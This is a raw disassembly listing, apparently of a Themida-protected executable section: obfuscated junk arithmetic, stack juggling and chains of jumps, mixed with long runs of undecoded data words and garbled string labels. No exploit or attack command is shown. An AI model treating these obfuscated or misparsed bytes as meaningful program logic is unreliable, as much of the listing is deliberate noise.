		dd 1D685F54h, 89000047h, 0E956242Ch, 0FFFFD09Eh, 8BE9EF29h
		dd 0BE000001h, 56D604CEh, 88E8E9h, 9BE6E900h, 1C33FFFFh
		dd 241C3124h, 0FFCCC9E9h, 4C581FFh, 81000000h, 4C5h, 8405E900h
		dd 665C0000h, 0E9240489h, 0FFFFCF8Fh
; ---------------------------------------------------------------------------


loc_56290C:				; CODE XREF: Themida_:00564941j
		add	esp, 2
		mov	cl, 0BEh
		add	cl, dl
		pop	edx
		and	cl, 4Eh
		dec	cl
		inc	cl
		dec	cl
		sub	cl, 2Ah
		sub	al, 2Dh
		add	al, 1Fh
		sub	al, cl
		sub	al, 1Fh
		add	al, 2Dh
		mov	ecx, [esp]
		jmp	loc_56B581
; ---------------------------------------------------------------------------


loc_562935:				; CODE XREF: Themida_:00567FE5j
		mov	edi, ebx
		jmp	loc_567B66
; ---------------------------------------------------------------------------
		dd 53EBF280h, 8851D388h, 59EC88DDh, 24148B5Bh, 5204C483h
		dd 0F6801BB6h, 0D6F1E9C8h, 8F5FFFFFh, 815C2404h, 927A6FF2h
		dd 9B62E939h, 0EB81FFFFh, 4, 0E9241C87h, 0D58Ch
; ---------------------------------------------------------------------------


loc_562978:				; CODE XREF: Themida_:00564491j
		dec	ebp
		sub	ebp, 32DE80C8h
		add	eax, ebp
		pop	ebp
		add	ebx, 3037284Bh
		jmp	loc_56BD88
; ---------------------------------------------------------------------------


loc_56298D:				; CODE XREF: Themida_:00567908j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	edx
		pop	eax
		push	dword ptr [esp]
		jmp	loc_56B057
; ---------------------------------------------------------------------------
		db 0F7h
		dd 80F181D1h, 2DC094C3h, 383F30DEh, 81E9C801h
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5629B7:				; CODE XREF: Themida_:0056522Ej
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 11646498h
		jmp	loc_56589F
; ---------------------------------------------------------------------------


loc_5629D3:				; CODE XREF: Themida_:00562F8Bj
		add	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	edi
		jmp	loc_562D25
; ---------------------------------------------------------------------------
aZLS		db '┤<$▀$$И!%',0
		dd 38FDBB00h, 0DA0174D6h, 6DD7E9h, 0E9EA8600h, 72EEh, 8904EC83h
		dd 0E789243Ch, 4C781h, 0EF810000h, 4, 31243C33h, 0CCE9243Ch
		dd 8B000028h, 8956240Ch, 4C681E6h, 83000000h, 348704C6h
		dd 24248B24h, 0C6896656h, 0DF3EE9h, 9A7EE900h, 0E950FFFFh
		dd 0FFFFDE49h, 7FA8F681h, 15B5525h, 0CFBAE9F5h,	2C8B0000h
		dd 4C48124h, 8B000000h,	0C481241Ch, 4, 4C781h, 0C6E90000h
		dd 51FFFFBAh, 0D91AE955h, 41E90000h, 0B8FFFF9Ah, 5AE53D69h
		dd 3D1468h, 24348900h, 0E074C0BEh, 5EF00948h, 4EC81h, 14890000h
		dd 7DEDBA24h, 0D0315AE5h, 8124148Bh, 4C4h, 0E9C70100h
		dd 0FFFFBE0Ah, 59CF015Dh, 0E9C0B60Fh, 0FFFFA4D4h, 26E9D7F6h
		dd 1FFFFE0h, 0EE815FFEh, 4E63361Dh, 14B768h, 240C8900h
		dd 0FFEA94E9h, 5BD801FFh, 372DD029h, 8B29C346h,	0C4832414h
		dd 78A6804h, 27E90000h,	810000CAh, 4ECh, 6DA2E900h, 0DA010000h
		dd 2414335Bh, 33241431h, 248B2414h, 4EC8124h, 0E9000000h
		dd 0FFFFE17Ah, 52F58851h, 0F788EE88h, 0FFF6C8E9h, 0E68956FFh
		dd 4C681h, 0C6810000h, 2, 5C243487h, 0EC815266h, 4, 1EEDE9h
		dd 0FFC70100h, 0E5E92434h, 660000D5h, 8124048Bh, 4ECh
		dd 0DB10E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562B6E:				; CODE XREF: Themida_:0055E4BBj
		dec	ecx
		push	ebp
		mov	ebp, 3F4639E0h
		sub	ebp, 9BAE6757h
		add	ecx, ebp
		pop	ebp
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 64763CDBh
		sub	ecx, 48512138h
		sub	ecx, ebx
		add	ecx, 48512138h
		mov	ebx, [esp]
		add	esp, 4
		push	53CCh
		jmp	loc_56FE15
; ---------------------------------------------------------------------------
		dd 0B6D0B753h, 5BFE301Bh, 6884CE80h, 0
		dd 8A243428h, 0C4832434h, 4AF68004h, 0F64FC680h, 1CF680D6h
		dd 2865C380h, 0B65266F3h, 7955E965h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562BDA:				; CODE XREF: Themida_:00565772j
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		push	edi
		jmp	loc_568BF3
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 348904ECh, 0D31EE924h, 5C010000h,	6C810424h
		dd 552B0424h, 1C8B2F27h, 4C48324h, 4C7815Fh, 55000000h
		dd 3438E9h, 8AE94700h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562C1F:				; CODE XREF: Themida_:0056E359j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_564EAD
; ---------------------------------------------------------------------------
		dw 9E68h
		dd 5B089E21h, 4EC81h, 4890000h,	7BC46824h, 5FE90C2Fh
		db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562C47:				; CODE XREF: Themida_:0055FC71j
		mov	ebx, 638B19DCh
		dec	ebx
		xor	ebx, 0C23092Ch
		shr	ebx, 3
		xor	ebx, 7A5D0B6Bh
		inc	ebx
		sub	ebx, 477903C7h
		push	ebx
		pop	edx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_566A24
; ---------------------------------------------------------------------------
		dd 24048F58h, 0D8C7805Ch, 0E9E9F830h, 81FFFFACh, 0A533E0EBh
		dd 7BC38117h, 11C3A34h,	7BEB81EBh, 551C3A34h, 4E2FBB53h
		dd 0FBD2046h, 2937EB82h, 0EB015BDDh, 0CB7EE9h
		db 0
; ---------------------------------------------------------------------------


loc_562CA9:				; CODE XREF: Themida_:00565C0Cj
		mov	[esp], eax
		push	edi
		push	esi
		mov	esi, 4F4449D7h
		mov	edi, esi
		jmp	loc_566307
; ---------------------------------------------------------------------------


loc_562CBA:				; CODE XREF: Themida_:00570717j
		pop	edx
		sub	esp, 4
		jmp	loc_569B9B
; ---------------------------------------------------------------------------
		db 83h
		dd 895602C5h, 4C681E6h,	0E9000000h, 50DCh
; ---------------------------------------------------------------------------


loc_562CD4:				; CODE XREF: Themida_:0055E75Ej
		push	ebp
		jmp	loc_55F537
; ---------------------------------------------------------------------------


loc_562CDA:				; CODE XREF: Themida_:0055FD8Aj
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_56D38A
; ---------------------------------------------------------------------------
a3si		db '╤3И┴а',0
		db 0
; ---------------------------------------------------------------------------


loc_562CED:				; CODE XREF: Themida_:0056183Aj
		mov	esi, 3D0F1508h
		or	edx, esi
		pop	esi
		or	edx, 5AD713BEh
		shr	edx, 7
		jmp	loc_561348
; ---------------------------------------------------------------------------


loc_562D03:				; CODE XREF: Themida_:00565DBFj
		mov	esp, [esp]
		push	1825h
		mov	[esp], ebx
		jmp	loc_56D43E
; ---------------------------------------------------------------------------
		db 0B9h
		dd 7A9313D2h, 6803E9C1h, 243Dh,	1C9EE9h
		db 0
; ---------------------------------------------------------------------------


loc_562D25:				; CODE XREF: Themida_:005629E9j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55D45B
; ---------------------------------------------------------------------------


loc_562D38:				; CODE XREF: Themida_:0055D963j
		mov	[esp], ecx
		mov	ecx, 2A8B4A31h
		jmp	loc_5627B5
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 81000000h, 4C6h, 5CF5E900h, 0CA310000h, 75E95359h, 0FF0000BFh
		dd 65E92C77h, 81FFFF97h, 4C4h, 5AF60500h, 8AE90D60h, 5CFFFFD0h
		dd 2EF68h, 0B5CBE900h, 0CD810000h, 21666671h, 8105EDC1h
		dd 400489C5h, 5DEB01FCh, 4C381h, 1C870000h, 24248B24h
		dd 0F581EDD1h, 2AD5FB65h, 0E95DE829h, 865Bh, 0E9CF215Bh
		dd 0FFFF991Ch, 61AB685Ah, 0CCE90000h, 1FFFFDDh,	0EAC681FEh
		dd 0E9098B60h, 0FFFFDD74h, 52514EB3h, 8850DA88h, 0FFE588D4h
		dd 83582434h, 535A04C4h, 10D6E9h, 6EE86800h, 0C890000h
		dd 1756824h, 8F540000h,	4832404h, 34FF0424h, 0CCF6E924h
		dd 2C87FFFFh, 0B0E95C24h, 81000031h, 7BFEA3C2h,	5AD529EDh
		dd 34FFEF29h, 0C4815D24h, 4, 96A2E9C3h,	0D701FFFFh, 1AB6C781h
		dd 815A1F3Fh, 2EFh, 243C8700h, 5119E9h,	1C772100h, 8124348Bh
		dd 4ECh, 241C8900h, 0C381E389h,	4, 4C381h, 1C330000h, 241C3124h
		dd 8B241C33h, 5DE92424h, 0BAFFFF96h, 4,	875AD129h, 248B240Ch
		dd 241C8924h, 468h, 0DE015B00h,	4C6815Bh, 56000000h, 42474FFh
		dd 8324348Bh, 48F04C4h,	24248B24h, 0F8242C81h, 6864BB3Dh
		dd 2BBCh, 0B8240489h, 483024ACh, 0FFD25BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562EB9:				; CODE XREF: Themida_:005650D5j
		push	6327h
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	7D8Dh
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		sub	edx, 12E178F3h
		add	edx, ebp
		add	edx, 12E178F3h
		jmp	loc_561B8B
; ---------------------------------------------------------------------------
		dd 24048966h, 0FF95D7E9h, 2434FFFFh, 50176858h,	2C890000h
		dd 5D545524h, 0F315E957h, 6DBDFFFFh, 0E90FD409h, 0A33Eh
		dd 1C6F095Dh, 7D3EE9h, 0F6516600h, 0D9E9241Ch, 31FFFFF4h
		dd 0E9CE31F1h, 721Fh, 0E958C201h, 0FFFFC33Ah, 0E94EEA80h
		dd 565Fh, 5F243C29h, 5E60EF81h,	0CF810644h, 483425F2h
		dd 2ED0BA52h, 0DAF72DDFh, 646BD55h, 0EA09075Dh,	0C281425Dh
		dd 5D8BE88Eh, 0FFAF0BE9h, 5EF701FFh, 4C781h, 3C870000h
		dd 0BE95C24h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562F7F:				; CODE XREF: Themida_:005691D6j
		push	edx
		push	ebx
		pop	edx
		pop	ebx
		not	edx
		sub	edx, 0D1039500h
		jmp	loc_5629D3
; ---------------------------------------------------------------------------
		dd 53240C8Bh, 0C381E389h, 4, 4EB81h, 1C870000h,	24248B24h
		dd 89240C89h, 39BDE9E1h, 0E8680000h, 8900004Bh,	0B450241Ch
		dd 0E288524Eh, 8B5AD388h, 54552404h, 12BB535Dh,	81567D65h
		dd 6238AAE3h, 0DE3FE97Ch, 0C3800000h, 66525A4Fh, 8871B151h
		dd 81B0E9CEh, 80D0000h,	2D78F86Ah, 694FF50Ah, 912EE9h
		db 0
; ---------------------------------------------------------------------------


loc_562FF9:				; CODE XREF: Themida_:0056C4E0j
		mov	edx, esp
		jmp	loc_55C52E
; ---------------------------------------------------------------------------
		dd 4C48F281h, 0D5311E63h, 1FF0E9h, 551D6800h, 1C890000h
		dd 52E38924h, 457D68h, 240C8900h, 4EC81h, 1C890000h, 37FBBB24h
		dd 0D9891DA0h, 3A68555Bh, 89000008h, 0A4BF243Ch, 0E95C3A64h
		dd 0FFFFD7B0h, 0E95FF929h, 0FFFF9A0Fh
; ---------------------------------------------------------------------------


loc_56304C:				; CODE XREF: Themida_:005637ABj
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_569FD2
; ---------------------------------------------------------------------------
		db 68h,	30h, 78h
		dd 3C890000h, 3E77BF24h, 0FB31FE65h, 83243C8Bh,	0DE8904C4h
		dd 8BC5815Bh, 124974Ah,	8BED81F5h, 8B24974Ah, 54502434h
		dd 582434FFh, 504C483h,	4, 0FFCD3DE9h, 241C31FFh, 5C241C33h
		dd 4C181h, 0C1810000h, 2, 0E9E78957h, 4C86h, 64EB815Ah
		dd 0E9004002h, 0B37Eh
; ---------------------------------------------------------------------------


loc_5630C8:				; CODE XREF: Themida_:00565980j
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 12h
		jmp	loc_55CE7B
; ---------------------------------------------------------------------------
		db 88h
		dd 0E18951F4h, 4C181h, 0E9810000h, 4, 3F83E9h, 0CBF68000h
		dd 148BF030h, 4C48324h,	46FE68h, 3AD8E900h, 0D5890000h
		dd 5DEF295Ah, 0C781DF01h, 1A4A67D7h, 4C7835Bh, 8B243C87h
		dd 34FF2424h, 2434FF24h, 2003E9h, 0E2895200h, 46AEBD55h
		dd 0D5F74EC3h, 0B60FE9h, 5E08900h, 4, 8704C083h, 835C2404h
		dd 3C8904ECh, 81E78924h, 4C7h, 4C78100h, 0E9000000h, 8EC0h
; ---------------------------------------------------------------------------


loc_563160:				; CODE XREF: Themida_:005662A9j
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55FEEF
; ---------------------------------------------------------------------------
		dw 0C688h
		dd 25E95258h, 81FFFFFAh, 2C0013C7h, 4EC8142h, 89000000h
		dd 1C8B243Ch, 0E1895124h, 4C181h, 62E90000h, 6600005Dh
		dd 0DF87665Bh, 243C3166h, 243C3366h, 243C3166h,	240C8B66h
		dd 81E78957h, 4C7h, 0A422E900h,	8B660000h, 1AE9240Ch
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5631CF:				; CODE XREF: Themida_:0056B780j
		xchg	ebx, [esp]
		jmp	loc_56370F
; ---------------------------------------------------------------------------
		db 81h
		dd 3E5631F2h, 5AD5895Ah, 0FFBBF0E9h, 0C3005AFFh, 0FCFC380h
		dd 0A4E9C0B6h, 5AFFFF9Fh, 5004C483h, 0E9241C8Bh, 22E6h
		dd 0E904C483h, 0FFFFAE0Dh, 789FB951h, 0E9815E6Ch, 6B884008h
		dd 5D17E9h
		db 0
; ---------------------------------------------------------------------------


loc_563219:				; CODE XREF: Themida_:0056AD5Fj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		add	dword ptr [esp+4], 785E3F7Ch
		add	[esp+4], esi
		sub	dword ptr [esp+4], 785E3F7Ch
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56A222
; ---------------------------------------------------------------------------


loc_56324B:				; CODE XREF: Themida_:0056D0B9j
		mov	ebp, 368D4054h
		sub	edi, ebp
		pop	ebp
		mov	esi, [esp]
		push	1814h
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_567982
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 96h
		dd 0E958331Fh, 0FFFFAF4Eh
; ---------------------------------------------------------------------------


loc_563270:				; CODE XREF: Themida_:0056D4DBj
		xor	edi, 2C1C103Bh
		push	ebx
		mov	ebx, 2E7763ADh
		sub	ebx, 39965426h
		add	ebx, 8212FB66h
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 4D986AA2h
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_567DBC
; ---------------------------------------------------------------------------


loc_5632A6:				; CODE XREF: Themida_:0056D01Aj
		push	2149h
		jmp	loc_566B13
; ---------------------------------------------------------------------------
		dd 66DBC381h, 0D4E93AD7h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5632BB:				; CODE XREF: Themida_:0056BCFEj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_562140
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 70F8E924h, 2DB90000h, 1040B1Ah, 0F80159C8h, 0FFEB60E9h
		dd 986856FFh, 5E6C274Bh, 5016E9h, 52E08900h, 3F178368h
		dd 24148B54h, 4C481h, 0BB530000h, 23D23A0Ah, 0C15BDA21h
		dd 0B95108E2h, 28772CADh, 5263E181h, 5E939E0h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563323:				; CODE XREF: Themida_:0056DF1Fj
		pop	esi
		xor	edi, 759C5B93h
		sub	edi, 56923BB2h
		sub	esi, edi
		pop	edi
		mov	ebp, esi
		pop	esi
		sub	[esp+8], ebp
		jmp	loc_5661FB
; ---------------------------------------------------------------------------


loc_56333F:				; CODE XREF: Themida_:0055E075j
		sub	esi, eax
		jmp	loc_55DE9E
; ---------------------------------------------------------------------------


loc_563346:				; CODE XREF: Themida_:0055DBABj
		mov	[esp], ecx
		push	5B385F9Dh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56D085
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0B0h
		dd 81615322h, 224517E6h, 6FC68177h, 89A082EDh, 2BE95EF1h
		dd 0C00000BFh, 0E9C002E9h, 1C18008h, 8046F180h,	65E904C2h
		dd 5800007Ch, 4C481h, 3C330000h, 243C3124h, 8B243C33h
		dd 90682424h, 8900006Dh, 51682414h, 0E9000023h,	8186h
; ---------------------------------------------------------------------------


loc_5633AC:				; CODE XREF: Themida_:00569ED3j
		mov	ebp, [esp]
		jmp	loc_56DFC2
; ---------------------------------------------------------------------------
		dd 7B6828BAh, 4EC837Dh,	68242C89h, 3CEBh, 68243C89h, 46D316C6h
		dd 99BA525Fh, 1640D51h,	0EF815AD7h, 0FFFFFFFFh,	5BEDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5633E1:				; CODE XREF: Themida_:0055DB5Fj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 4
		jmp	loc_562644
; ---------------------------------------------------------------------------
		db 68h
		dd 9ED519Ch, 5B2434FFh,	815F5457h, 4C7h, 4BB5300h, 1000000h
		dd 3C335BDFh, 243C3124h, 29FE9h, 24143100h, 50A2E9h, 1FF18000h
		dd 5BE9CA20h, 53FFFF9Ah, 0FFE697E9h, 0D7F758FFh, 0FC86F781h
		dd 0FA298B25h, 83243C8Bh, 0C5E904C4h, 0B40000A0h, 197E9DCh
		dd 5F540000h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 0BB241C89h
		dd 4, 7DDBC781h, 0DF013D1Ah, 104B68h, 242C8900h, 0DA5DE9h
		dd 0FAE95500h, 8B000057h, 8952240Ch, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 769AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5634B1:				; CODE XREF: Themida_:00568141j
		mov	ecx, 16104E8Ah
		add	ecx, 0E9EFB17Ah
		add	edx, ecx
		jmp	loc_56FE5D
; ---------------------------------------------------------------------------
		db 50h
		dd 0C4FE78B4h, 8609CC80h, 86D6F6F4h, 49C480F4h,	0DFEC80h
		dd 0D32858E2h, 24148B66h, 2802C483h, 6FE9E9C3h,	0F8BA0000h
		dd 81135732h, 0A8CD0CC2h, 5AD301ECh, 0D4F1E9h, 81D2F700h
		dd 0CB4A60F2h, 3E2C102h, 6854F281h, 0F2817354h,	6FE049ACh
		dd 2BE9D501h, 890000DAh, 6B368E6h, 0C890000h, 35E95224h
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56352B:				; CODE XREF: Themida_:0055E229j
		push	edi
		mov	edi, 7877256h
		xor	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		jmp	loc_562279
; ---------------------------------------------------------------------------


loc_56353E:				; CODE XREF: Themida_:00566585j
		xchg	edx, [esp]
		jmp	loc_562684
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 0A027E906h, 64BE0000h, 8121833Fh, 0F7F2BCEEh, 0BF26E9BDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56355E:				; CODE XREF: Themida_:00564CEFj
		add	esp, 4
		jmp	loc_56E1D4
; ---------------------------------------------------------------------------


loc_563569:				; CODE XREF: Themida_:0055E9A9j
		xor	ebx, [esp]
		jmp	loc_55EC9B
; ---------------------------------------------------------------------------
		db 0BEh, 97h, 60h
		dd 895229ABh, 4C281E2h,	81000000h, 4EAh, 24148700h, 241C895Ch
		dd 2446C9BBh, 0BE5661h,	29000000h, 0E9F387DEh, 2F14h
; ---------------------------------------------------------------------------


loc_5635A0:				; CODE XREF: Themida_:0056537Ej
		push	3B55h
		mov	[esp], edi
		jmp	loc_55D92B
; ---------------------------------------------------------------------------


loc_5635AD:				; CODE XREF: Themida_:005656FFj
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	16AEh
		jmp	loc_565EA2
; ---------------------------------------------------------------------------


loc_5635C3:				; CODE XREF: Themida_:0055C535j
		mov	esi, 43D1143Bh
		jmp	loc_561EAE
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 69h
		dd 8173C33Bh, 44F5h, 5DEF0101h,	5C243C87h, 8B242C87h, 9EE92424h
		dd 81000063h, 4C7h, 4EF8300h, 0B42FE9h,	8BE30000h, 7AE92404h
		dd 8FFFFFB9h, 29E92404h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56360B:				; CODE XREF: Themida_:0056C06Fj
		pop	edx
		add	bl, 11h
		add	bl, al
		push	small 1483h
		jmp	loc_56D692
; ---------------------------------------------------------------------------


loc_56361A:				; CODE XREF: Themida_:005607E4j
		add	ebp, ebx
		jmp	loc_55C775
; ---------------------------------------------------------------------------


loc_563621:				; CODE XREF: Themida_:00566280j
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		xchg	ecx, ebx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_567AD2
; ---------------------------------------------------------------------------


loc_563634:				; CODE XREF: Themida_:0056E1CFj
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_560F80
; ---------------------------------------------------------------------------


loc_563652:				; CODE XREF: Themida_:0056BD95j
		add	ebx, 4
		jmp	loc_56D0AC
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 83000000h, 2C8704C5h, 24248B24h, 3796E9h
		db 0
; ---------------------------------------------------------------------------


loc_563671:				; CODE XREF: Themida_:00566694j
		add	esp, 4
		jmp	loc_56E9E0
; ---------------------------------------------------------------------------
		dd 0E9E38953h, 0FFFF943Ch, 0E7000BBAh, 0F2814A22h, 4C903F85h
		dd 78A4F281h, 0D0214B71h, 6D650D5Ah, 0CC352002h, 0E973EC6Fh
		dd 766Ch, 771BF681h, 0F3014EACh, 3BB8505Eh, 0F7718D64h
		dd 2E0C1D0h, 49D9E9h, 0BB0F6600h, 0E99C2404h, 0FFFF8E00h
		dd 5C243C33h, 7D3FF205h, 2DD80134h, 347D3FF2h, 51241C8Bh
		dd 0C181E189h, 4, 6E685257h, 8B5DB475h,	0C4832414h, 14F75204h
		dd 0B8505A24h, 6DAA62B4h, 4EE9C221h, 6600003Fh,	0BDE9028Fh
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56370F:				; CODE XREF: Themida_:005631D2j
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		xchg	ebx, [esp]
		pop	esi
		inc	esi
		add	esi, 697BCEF3h
		jmp	loc_56B957
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 87000000h, 0E95C241Ch, 0FFFFB02Fh, 5124248Bh, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 2C682414h, 0E9000029h, 4A23h
; ---------------------------------------------------------------------------


loc_563754:				; CODE XREF: Themida_:005651C1j
		pop	ebx
		jmp	loc_55E86D
; ---------------------------------------------------------------------------


loc_56375A:				; CODE XREF: Themida_:0057071Ej
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_56C4F7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_55F019
; ---------------------------------------------------------------------------
		dw 46B0h
		dd 2F046A24h, 0CFF1E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56378E:				; CODE XREF: Themida_:005667DDj
		add	ebx, 0FC334840h
		add	ecx, ebx
		pop	ebx
		sub	ecx, ebx
		sub	ecx, 1BB15A33h
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56304C
; ---------------------------------------------------------------------------
		dd 51FFE883h, 3E8168h, 13CE900h, 0E2C00000h, 0E7EA8007h
		dd 474068h, 24048900h, 1616E9h,	0BCBA5200h, 8956E27Bh
		dd 24148BD1h, 8104C483h, 2B86A0C1h, 59C801B3h, 24043359h
		dd 33240431h, 248B2404h, 0B30F6624h, 0E99C2404h, 0FFFF8CCCh
; ---------------------------------------------------------------------------


loc_563800:				; CODE XREF: Themida_:0055DEDEj
		add	edi, 615D9380h
		add	esi, edi
		jmp	loc_567901
; ---------------------------------------------------------------------------


loc_56380D:				; CODE XREF: Themida_:0056A486j
		mov	eax, 6E0472AEh
		xor	eax, 38222284h
		shr	eax, 2
		jmp	loc_569886
; ---------------------------------------------------------------------------
		db 56h
		dd 4B4F29BEh, 5EF10907h, 0C2C5E9h, 14875B00h, 24248B24h
		dd 7D52E9h, 0F5BE5600h,	576CE010h, 69E268h, 24348900h
		dd 0AD3DC4BEh, 5EF789CCh, 3C8BFE01h, 16DFE924h,	0C2810000h
		dd 4, 4C281h, 14330000h, 0FBBFE924h, 3C89FFFFh,	815F5424h
		dd 4ECh, 24348900h, 665D70BEh, 43DE8724h, 0BA52DE87h, 14850076h
		dd 0FFEFCBE9h, 4EA81FFh, 87000000h, 34E92414h, 81000098h
		dd 4C5h, 8B28E900h, 4810000h, 424h, 242C8B00h, 0E904C483h
		dd 629Ah, 0FDE1EF81h, 0FB893C4Ch, 9C16E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5638CA:				; CODE XREF: Themida_:00563B25j
		add	ebx, 4
		jmp	loc_56B69F
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 4B000000h, 1662E950h, 0E9560000h, 0FFFFE36Bh
; ---------------------------------------------------------------------------


loc_5638E8:				; CODE XREF: Themida_:00570B06j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	[esp], ebp
		jmp	loc_5668AD
; ---------------------------------------------------------------------------
		dw 489h
		dd 0E179B824h, 0C189D60Fh, 0A2CEE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56390A:				; CODE XREF: Themida_:0055EDD0j
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5610E7
; ---------------------------------------------------------------------------
		db 1
		dd 0DF015BDFh, 1825EF81h, 0AB686C21h, 89000002h, 0B8502414h
		dd 2C666C0Fh, 158C289h,	34FF5AD7h, 95685B24h, 0E9000046h
		dd 0FFFFEBF2h
; ---------------------------------------------------------------------------


loc_563944:				; CODE XREF: Themida_:00566041j
		mov	ebp, 131B44CCh
		jmp	loc_567688
; ---------------------------------------------------------------------------


loc_56394E:				; CODE XREF: Themida_:0056A81Fj
		shl	ebx, 6
		xor	ebx, 292E1B64h
		or	ebx, 5D4012A8h
		dec	ebx
		add	ebx, 3F0A6BDFh
		add	edx, ebx
		jmp	loc_56CBD4
; ---------------------------------------------------------------------------
aOsix		db 'OИI∙',0
		dd 0EB285800h, 0F9EB8059h, 0FF962BE9h, 240C8BFFh, 0E904EC83h
		dd 33A8h
; ---------------------------------------------------------------------------


loc_563988:				; CODE XREF: Themida_:0056130Cj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1E732DEh
		push	ebx
		mov	ebx, 15EE2DF7h
		mov	edx, 17CB2785h
		sub	edx, ebx
		pop	ebx
		jmp	loc_56C029
; ---------------------------------------------------------------------------
a1Srk		db '1бИ░┼',0
		align 10h
		dd 814DD5F7h, 13602DC5h, 5DE98919h, 5FC6EF81h, 95E91F44h
		dd 59FFFFE7h, 9513E9h, 8BD32900h, 0C4812414h, 4, 31241C33h
		dd 1C33241Ch, 0DAE95C24h, 81FFFF9Eh, 651833CBh,	0F673E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5639F2:				; CODE XREF: Themida_:005685FBj
		push	4CFA0D35h
		pop	edi
		inc	edi
		xor	edi, 4430990h
		mov	ecx, edi
		pop	edi
		dec	ecx
		dec	ecx
		dec	ecx
		shl	ecx, 1
		shr	ecx, 2
		add	ecx, 45D6D0C3h
		sub	edi, ecx
		pop	ecx
		jmp	loc_56DE34
; ---------------------------------------------------------------------------


loc_563A18:				; CODE XREF: Themida_:0056CFFCj
		add	ebp, 5AB10F48h
		add	ebp, ecx
		jmp	loc_56E561
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 53C8B60Fh, 0FF984DE9h, 0BCEB80FFh, 4CE9C328h, 66FFFF9Ah
		dd 5524048Bh, 75E3E9h
		db 0
; ---------------------------------------------------------------------------


